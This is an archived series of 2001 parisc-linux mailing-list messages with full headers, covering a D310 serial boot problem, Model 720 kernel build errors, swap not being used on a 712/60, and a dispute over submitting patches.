Date: Tue, 5 Jun 2001 10:32:13 -0500 (CDT)
Lines: 37
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0106051030570.22868-100000@oliver.internal.sjdjweis.com>
References: <20010605160653.L25745@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620181 20380 80.91.229.3 (22 Nov 2014 01:36:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:21 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun  5 09:30:36 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from oliver.internal.sjdjweis.com (dsl.75.131.networkiowa.com [209.234.75.131])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3CA90482A
	for <parisc-linux@parisc-linux.org>; Tue,  5 Jun 2001 09:30:35 -0600 (MDT)
Original-Received: from localhost (djweis@localhost)
	by oliver.internal.sjdjweis.com (8.9.3/8.9.3) with ESMTP id KAA23252;
	Tue, 5 Jun 2001 10:32:14 -0500
X-Sender: djweis@oliver.internal.sjdjweis.com
In-Reply-To: <20010605160653.L25745@linuxcare.com>
Xref: news.gmane.org gmane.linux.ports.parisc:11247

On Tue, 5 Jun 2001, Richard Hirst wrote:
> On Tue, Jun 05, 2001 at 09:14:05AM -0500, djweis@sjdjweis.com wrote:
> > On Tue, 5 Jun 2001, Richard Hirst wrote:
> > > So with the nfsroot you have the D310 booting, but with the 0.9 ISO
> > > it stops after serial driver initialisation.
> > 
> > No, if I boot off the cd, I get IPL errors. When I netboot the kernel off
> > the cd, it stopped at serial init. I don't think it actually stopped, I
> > think it no longer printed but still booted.
> 
> Ah, ok.  I'd misunderstood you.  So the kernel on the CD is no
> different from the one you built yourself.  That's a relief!
> 
> Have you checked both serial ports, just in case the one the
> kernel finds isn't the one you are using?

I tried it once with no luck. I could try again with a different kernel,
but I am using serial1.

> >From the boot msgs you sent earlier, it looks like you turned
> SERIAL_DEBUG_AUTOCONF on.  Does it actually run the loopback
> test at serial.c:3671 successfully?

Based on the messages, I think so. I can try to put some other messages in
to print in the success case.

dave

-- 
Dave Weis             "I believe there are more instances of the abridgement
djweis@sjdjweis.com   of the freedom of the people by gradual and silent
                      encroachments of those in power than by violent 
                      and sudden usurpations."- James Madison





From - Thu Nov 08 21:17:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <djweis@sjdjweis.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] D310 boot messages
Date: Tue, 5 Jun 2001 10:53:50 -0500 (CDT)
Lines: 16
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0106051051070.22868-100000@oliver.internal.sjdjweis.com>
References: <20010605160653.L25745@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620181 20383 80.91.229.3 (22 Nov 2014 01:36:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:21 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun  5 09:52:12 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from oliver.internal.sjdjweis.com (dsl.75.131.networkiowa.com [209.234.75.131])
	by dsl2.external.hp.com (Postfix) with ESMTP id 774D5482A
	for <parisc-linux@parisc-linux.org>; Tue,  5 Jun 2001 09:52:11 -0600 (MDT)
Original-Received: from localhost (djweis@localhost)
	by oliver.internal.sjdjweis.com (8.9.3/8.9.3) with ESMTP id KAA23285;
	Tue, 5 Jun 2001 10:53:50 -0500
X-Sender: djweis@oliver.internal.sjdjweis.com
In-Reply-To: <20010605160653.L25745@linuxcare.com>
Xref: news.gmane.org gmane.linux.ports.parisc:11248

Can any of the HP people comment on where the second serial port on a D310
lives? I've looked through the lasi docs and on page 81 it mentions to
look in the Primary IO Configuration Register, bit 4, to see if there are
two ports, but the location isn't listed on the memory map anywhere.

dave

-- 
Dave Weis             "I believe there are more instances of the abridgement
djweis@sjdjweis.com   of the freedom of the people by gradual and silent
                      encroachments of those in power than by violent 
                      and sudden usurpations."- James Madison





From - Thu Nov 08 21:17:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael S.Zick <mszick@pflash.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] pa-risc V0.9 on Model 720 (+ others)
Date: Tue, 5 Jun 2001 11:36:37 -0500
Lines: 74
Approved: news@gmane.org
Message-ID: <01060511501903.00472@wolf01.my.home>
References: <20010605160653.L25745@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416620182 20387 80.91.229.3 (22 Nov 2014 01:36:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:22 +0000 (UTC)
Cc: <debian-hppa@lists.debian.org>, parisc-linux@thepuffingroup.com,
	parisc-linux@parisc-linux.org
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun  5 10:50:53 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from vopserver.pflash.com (mail.pflash.com [207.19.136.5])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0FAC5482A
	for <parisc-linux@parisc-linux.org>; Tue,  5 Jun 2001 10:50:53 -0600 (MDT)
Original-Received: from wolf01.my.home (ppp64.cc1.pflash.com [63.121.24.66]) by vopserver.pflash.com
 (Vircom SMTPRS 4.7.191) with SMTP id <B0005297249@vopserver.pflash.com>;
 Tue, 5 Jun 2001 11:45:50 -0500
X-Mailer: KMail [version 1.0.21]
Xref: news.gmane.org gmane.linux.ports.parisc:11249

To All -

Ref: Kernel snap-shot of 0603 (presumed similar to V0.9 kernel)

Found:
File: linux/include/asm-parisc/io.h
Lines: 27 - 40
Do:
Comment out the #ifdef at (appox.) line 27 and matching #endif at (appox)=
 line 40

Situation (sitrep):
Box model 720 doesn't have PCI BA -
Box model 720 EISA BA was an option=20
(mine has one, I don't have a card, so I am not building that driver.)

Without either BA's defined - in/out Byte, Word, Long does not have
a prototype in mem.c (amoung other places) - the compiler guesses
(incorrectly) at what inb() and outb() mean.

Makes a difference.

More to follow as I work my way through:
serial.c
pc_keyb.c
lasi_82596.c
parport_gsc.c
scsi.c
sim700.c
inode.c
array.c
binfmt_som.c
binfmt_elf.c
and various other bits and bytes.

Hey - No one ever said this was a clean build, did they?

Mike

On Tue, 05 Jun 2001, you wrote:
> On Tue, Jun 05, 2001 at 09:14:05AM -0500, djweis@sjdjweis.com wrote:
> >=20
> > On Tue, 5 Jun 2001, Richard Hirst wrote:
> >=20
> > > So with the nfsroot you have the D310 booting, but with the 0.9 ISO
> > > it stops after serial driver initialisation.
> >=20
> > No, if I boot off the cd, I get IPL errors. When I netboot the kernel=
 off
> > the cd, it stopped at serial init. I don't think it actually stopped,=
 I
> > think it no longer printed but still booted.
>=20
> Ah, ok.  I'd misunderstood you.  So the kernel on the CD is no
> different from the one you built yourself.  That's a relief!
>=20
> Have you checked both serial ports, just in case the one the
> kernel finds isn't the one you are using?
>=20
> From the boot msgs you sent earlier, it looks like you turned
> SERIAL_DEBUG_AUTOCONF on.  Does it actually run the loopback
> test at serial.c:3671 successfully?
>=20
> Richard
>=20
>=20
>=20
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux




From - Thu Nov 08 21:17:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: pa-risc V0.9 on Model 720 (+ others)
Date: Tue, 5 Jun 2001 18:50:08 +0100
Lines: 13
Approved: news@gmane.org
Message-ID: <20010605185008.R7349@parcelfarce.linux.theplanet.co.uk>
References: <20010605160653.L25745@linuxcare.com> <01060511501903.00472@wolf01.my.home>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620182 20392 80.91.229.3 (22 Nov 2014 01:36:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:22 +0000 (UTC)
Cc: Richard Hirst <rhirst@linuxcare.com>,
	debian-hppa@lists.debian.org, parisc-linux@thepuffingroup.com,
	parisc-linux@parisc-linux.org
To: "Michael S. Zick" <mszick@pflash.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun  5 11:50:22 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id C368A4833
	for <parisc-linux@parisc-linux.org>; Tue,  5 Jun 2001 11:50:21 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 157Ky0-0008J5-00; Tue, 05 Jun 2001 18:50:08 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <01060511501903.00472@wolf01.my.home>; from mszick@pflash.com on Tue, Jun 05, 2001 at 11:36:37AM -0500
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11250

On Tue, Jun 05, 2001 at 11:36:37AM -0500, Michael S. Zick wrote:
> Without either BA's defined - in/out Byte, Word, Long does not have
> a prototype in mem.c (amoung other places) - the compiler guesses
> (incorrectly) at what inb() and outb() mean.

That's a known-bad configuration.  You have to have some kind of PCI
or EISA controller configured in.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:17:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chuck Slivkoff <charles_slivkoff@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Forcing PA-Linux to swap / do_page_fault()
Date: Tue, 05 Jun 2001 13:56:38 -0400
Organization: HP Response Center
Lines: 36
Approved: news@gmane.org
Message-ID: <3B1D1D56.14424ACA@hp.com>
References: <3B180D83.F5479D0B@hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620183 20399 80.91.229.3 (22 Nov 2014 01:36:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:23 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun  5 11:56:40 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from palrel1.hp.com (palrel1.hp.com [156.153.255.242])
	by dsl2.external.hp.com (Postfix) with ESMTP id B9AA4482A
	for <parisc-linux@lists.parisc-linux.org>; Tue,  5 Jun 2001 11:56:40 -0600 (MDT)
Original-Received: from xparelay1.corp.hp.com (xparelay1.corp.hp.com [15.58.136.173])
	by palrel1.hp.com (Postfix) with ESMTP id E494A14BC
	for <parisc-linux@lists.parisc-linux.org>; Tue,  5 Jun 2001 10:56:39 -0700 (PDT)
Original-Received: from xatlbh2.atl.hp.com (xatlbh2.atl.hp.com [15.45.89.187])
	by xparelay1.corp.hp.com (Postfix) with ESMTP id D39DB1F509
	for <parisc-linux@lists.parisc-linux.org>; Tue,  5 Jun 2001 10:55:41 -0700 (PDT)
Original-Received: from hp.com (caslivkoff3107.atl.hp.com [15.50.82.243]) by xatlbh2.atl.hp.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13)
	id MKR71ZTJ; Tue, 5 Jun 2001 13:56:39 -0400
X-Mailer: Mozilla 4.77 [en] (WinNT; U)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:11251

Greetings all,

I've noticed a problem that I believe is might be related to the kernel
not being able to use swap space.  I've never seen swap utilization > 0
and suspect that something might be seriously wrong. Here's an example
of the kernel error:


do_page_fault() pid=8730 command='Xvfb' type=6 address=0x00000003

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111111100001111
r0-3     00000000 0049a1f8 00000000 00000013
r4-7     723cff78 00000000 00000000 00000000
r8-11    00000500 00000400 00000000 00000020
r12-15   00000000 00000000 00000000 00000400
r16-19   00000500 0058fd70 00000000 000057e4
r20-23   00000000 00000014 00000040 004c61f8
r24-27   faf00d58 faf00cd8 0000000e 004471f8
r28-31   0002bf20 00000000 faf00e48 00054f83
sr0-3    00000000 00000100 00000000 00000100
sr4-7    00000100 00000100 00000100 00000100

IASQ: 00000100 00000100 IAOQ: 00000003 00000007
 IIR: e85e02a1    ISR: 00000100  IOR: 005dc000
 ORIG_R28: 00000003


My system is a 712/60 with 128MB RAM.

Does anyone have a good example of test to force the system to use swap?

-chuck




From - Thu Nov 08 21:17:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael S.Zick <mszick@pflash.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: pa-risc V0.9 on Model 720 (+ others)
Date: Tue, 5 Jun 2001 12:56:29 -0500
Lines: 40
Approved: news@gmane.org
Message-ID: <01060513071704.00472@wolf01.my.home>
References: <20010605185008.R7349@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416620183 20403 80.91.229.3 (22 Nov 2014 01:36:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:23 +0000 (UTC)
Cc: Richard Hirst <rhirst@linuxcare.com>,
	debian-hppa@lists.debian.org, parisc-linux@thepuffingroup.com,
	parisc-linux@parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun  5 12:07:53 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from vopserver.pflash.com (mail.pflash.com [207.19.136.5])
	by dsl2.external.hp.com (Postfix) with ESMTP id 78692482A
	for <parisc-linux@parisc-linux.org>; Tue,  5 Jun 2001 12:07:52 -0600 (MDT)
Original-Received: from wolf01.my.home (ppp64.cc1.pflash.com [63.121.24.66]) by vopserver.pflash.com
 (Vircom SMTPRS 4.7.191) with SMTP id <B0005298041@vopserver.pflash.com>;
 Tue, 5 Jun 2001 13:02:49 -0500
X-Mailer: KMail [version 1.0.21]
Xref: news.gmane.org gmane.linux.ports.parisc:11252

On Tue, 05 Jun 2001, Matthew Wilcox wrote:
> On Tue, Jun 05, 2001 at 11:36:37AM -0500, Michael S. Zick wrote:
> > Without either BA's defined - in/out Byte, Word, Long does not have
> > a prototype in mem.c (amoung other places) - the compiler guesses
> > (incorrectly) at what inb() and outb() mean.
>=20
> That's a known-bad configuration.  You have to have some kind of PCI
> or EISA controller configured in.

Only if you intend to never support non-PCI, non-EISA older boxes.

Regardless of your intent - proper combinations of CONFIG_xxxxx
are supposed to be handled by the (x)config step of the build process.
After all - that is what "configure" means (in English).

To do a clean job of this - a selection of "Box Model" (similar to "Proce=
ssor Type")
may have to be added to the configuration scripts.  With corresponding #i=
fdef/#ifndef
statements in the relavent code.

At the moment - I have tunnel vision - I am focused on getting a personal=
 copy
of parisc-linux to boot on my model 720 box.

The comments and findings I post to the mailing lists may be freely disre=
garded
by anyone not interested them.  Still, they will exist in the mail list a=
rchives so that
any developer working on a public version of this kernel can use them for=
 hints, leads
and other ideas.

Mike
>=20
> --=20
> Revolutions do not require corporate support.




From - Thu Nov 08 21:17:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Forcing PA-Linux to swap / do_page_fault()
Date: Tue, 5 Jun 2001 20:07:28 +0100
Lines: 19
Approved: news@gmane.org
Message-ID: <20010605200728.S7349@parcelfarce.linux.theplanet.co.uk>
References: <3B180D83.F5479D0B@hp.com> <3B1D1D56.14424ACA@hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620184 20405 80.91.229.3 (22 Nov 2014 01:36:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:24 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Chuck Slivkoff <charles_slivkoff@hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun  5 13:07:43 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 984E9482A
	for <parisc-linux@lists.parisc-linux.org>; Tue,  5 Jun 2001 13:07:42 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 157MAq-0001gJ-00; Tue, 05 Jun 2001 20:07:28 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <3B1D1D56.14424ACA@hp.com>; from charles_slivkoff@hp.com on Tue, Jun 05, 2001 at 01:56:38PM -0400
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11253

On Tue, Jun 05, 2001 at 01:56:38PM -0400, Chuck Slivkoff wrote:
> I've noticed a problem that I believe is might be related to the kernel
> not being able to use swap space.  I've never seen swap utilization > 0
> and suspect that something might be seriously wrong. Here's an example
> of the kernel error:

Hmm... none of my systems are using swap either; I had noticed this before,
but never really thought much of it.  This has to be a moderately recent
breakage because I know jsm has tested swapping.

> Does anyone have a good example of test to force the system to use swap?

Sure.  malloc 256MB, then dirty each page.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:17:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Version 0.9 of PA-RISC Linux Released
Date: Tue, 5 Jun 2001 20:10:48 +0100
Lines: 28
Approved: news@gmane.org
Message-ID: <20010605201048.T7349@parcelfarce.linux.theplanet.co.uk>
References: <20010605172316.A12216@neep.com.au> <01060507541700.00472@wolf01.my.home>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620184 20411 80.91.229.3 (22 Nov 2014 01:36:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:24 +0000 (UTC)
Cc: Andrew Shugg <andrew@neep.com.au>, parisc-linux@parisc-linux.org
To: "Michael S.Zick" <mszick@pflash.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun  5 13:10:55 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6FDC74832
	for <parisc-linux@parisc-linux.org>; Tue,  5 Jun 2001 13:10:54 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 157ME4-0001iG-00; Tue, 05 Jun 2001 20:10:48 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <01060507541700.00472@wolf01.my.home>; from mszick@pflash.com on Tue, Jun 05, 2001 at 07:24:31AM -0500
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11254

On Tue, Jun 05, 2001 at 07:24:31AM -0500, Michael S.Zick wrote:
> Great idea - both sites should CLEARLY cross-link their information pages.

if you have constructive suggestions for the website, please feel free to
post them.  I didn't like the original layout, and I think the redesign
made it harder to find information.  but i don't know how to make it
better, nor do i have time.

> I am using the kernel snap-shot of 06/03/2001 - in the hopes
> that it is close to what was used to build the kernels in V0.9 -
> but that is only a guess on my part

this is why i introduced the EXTRAVERSION.  it's -pa10, and that's still
head of the CVS tree.

> 2) - don't drop a built kernel into an image of even a pre-release
> CD until it compiles error (and warning) free.
> 
> Some of the problems I have found and fixed were clearly
> mentioned by the compiler.

let's see your patch then.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:17:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael S.Zick <mszick@pflash.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Version 0.9 of PA-RISC Linux Released
Date: Tue, 5 Jun 2001 14:16:05 -0500
Lines: 23
Approved: news@gmane.org
Message-ID: <01060514223706.00472@wolf01.my.home>
References: <20010605201048.T7349@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416620185 20422 80.91.229.3 (22 Nov 2014 01:36:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:25 +0000 (UTC)
Cc: <debian-hppa@lists.debian.org>, parisc-linux@parisc-linux.org,
	parisc-linux@thepuffingroup.com
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun  5 13:23:16 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from vopserver.pflash.com (mail.pflash.com [207.19.136.5])
	by dsl2.external.hp.com (Postfix) with ESMTP id 98273482A
	for <parisc-linux@parisc-linux.org>; Tue,  5 Jun 2001 13:23:16 -0600 (MDT)
Original-Received: from wolf01.my.home (ppp64.cc1.pflash.com [63.121.24.66]) by vopserver.pflash.com
 (Vircom SMTPRS 4.7.191) with SMTP id <B0005298810@vopserver.pflash.com>;
 Tue, 5 Jun 2001 14:18:14 -0500
X-Mailer: KMail [version 1.0.21]
Xref: news.gmane.org gmane.linux.ports.parisc:11255

On Tue, 05 Jun 2001, Matthew Wilcox wrote:
>=20
> let's see your patch then.
>=20
> --=20
> Revolutions do not require corporate support.

Corporations shouldn't require users to drive them
to do their best.

Read on, gang, read on - when I get a clean
compile and a kernel that boots on my model 720...

I'll ask someone where to send the diff's...

Until then (maybe never) I'll continue to post my
progress notes that seem to directly apply to
questions being asked by others on the mailing lists.

Mike




From - Thu Nov 08 21:17:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Version 0.9 of PA-RISC Linux Released
Date: Tue, 5 Jun 2001 20:29:20 +0100
Lines: 23
Approved: news@gmane.org
Message-ID: <20010605202920.U7349@parcelfarce.linux.theplanet.co.uk>
References: <20010605201048.T7349@parcelfarce.linux.theplanet.co.uk> <01060514223706.00472@wolf01.my.home>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620186 20430 80.91.229.3 (22 Nov 2014 01:36:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:26 +0000 (UTC)
Cc: Matthew Wilcox <matthew@wil.cx>, debian-hppa@lists.debian.org,
	parisc-linux@parisc-linux.org, parisc-linux@thepuffingroup.com
To: "Michael S. Zick" <mszick@pflash.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun  5 13:29:26 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 701A4482A
	for <parisc-linux@parisc-linux.org>; Tue,  5 Jun 2001 13:29:25 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 157MW0-00024Y-00; Tue, 05 Jun 2001 20:29:20 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <01060514223706.00472@wolf01.my.home>; from mszick@pflash.com on Tue, Jun 05, 2001 at 02:16:05PM -0500
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11256

On Tue, Jun 05, 2001 at 02:16:05PM -0500, Michael S. Zick wrote:
> Corporations shouldn't require users to drive them
> to do their best.

So far i've heard nothing but talk from you.  i've been working on this
project for more than 2 years now, working for 3 different companies
during that time.  Sometimes I've been paid to work on it, sometimes
I haven't.  Sometimes I've worked on it entirely on my own time.  I want
to see something constructive from you before I'll accept your criticism.

> Read on, gang, read on - when I get a clean
> compile and a kernel that boots on my model 720...
> 
> I'll ask someone where to send the diff's...

Not the way it works.  Things will move on and you'll get left behind.
Send patches now and they'll (probably) get integrated.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:17:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chuck Slivkoff <charles_slivkoff@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Forcing PA-Linux to swap / do_page_fault()
Date: Tue, 05 Jun 2001 16:30:34 -0400
Organization: HP Response Center
Lines: 17
Approved: news@gmane.org
Message-ID: <3B1D416A.225615EB@hp.com>
References: <3B180D83.F5479D0B@hp.com> <3B1D1D56.14424ACA@hp.com> <20010605200728.S7349@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620186 20434 80.91.229.3 (22 Nov 2014 01:36:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:26 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun  5 14:30:37 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from palrel2.hp.com (palrel2.hp.com [156.153.255.234])
	by dsl2.external.hp.com (Postfix) with ESMTP id 61BAD482A
	for <parisc-linux@lists.parisc-linux.org>; Tue,  5 Jun 2001 14:30:37 -0600 (MDT)
Original-Received: from xparelay1.corp.hp.com (xparelay1.corp.hp.com [15.58.136.173])
	by palrel2.hp.com (Postfix) with ESMTP
	id 451AE1B2B; Tue,  5 Jun 2001 13:30:36 -0700 (PDT)
Original-Received: from xatlbh2.atl.hp.com (xatlbh2.atl.hp.com [15.45.89.187])
	by xparelay1.corp.hp.com (Postfix) with ESMTP
	id AF62E1F511; Tue,  5 Jun 2001 13:29:37 -0700 (PDT)
Original-Received: from hp.com (caslivkoff3107.atl.hp.com [15.50.82.243]) by xatlbh2.atl.hp.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13)
	id MKR7FHZK; Tue, 5 Jun 2001 16:30:34 -0400
X-Mailer: Mozilla 4.77 [en] (WinNT; U)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:11257

Matthew Wilcox wrote:
> 
> On Tue, Jun 05, 2001 at 01:56:38PM -0400, Chuck Slivkoff wrote:
> > I've noticed a problem that I believe is might be related to the kernel
> > not being able to use swap space.  I've never seen swap utilization > 0
> > and suspect that something might be seriously wrong. Here's an example
> > of the kernel error:
> 
> Hmm... none of my systems are using swap either; I had noticed this
> before, but never really thought much of it.  This has to be a 
> moderately recent breakage because I know jsm has tested swapping.

I noticed similar behavior w/ the kernel from the 0.6 ISO, but it's been
behaving much better since upgrading to the 0.9 bits.




From - Thu Nov 08 21:17:58 2018
X-Mozilla-Status: 0011
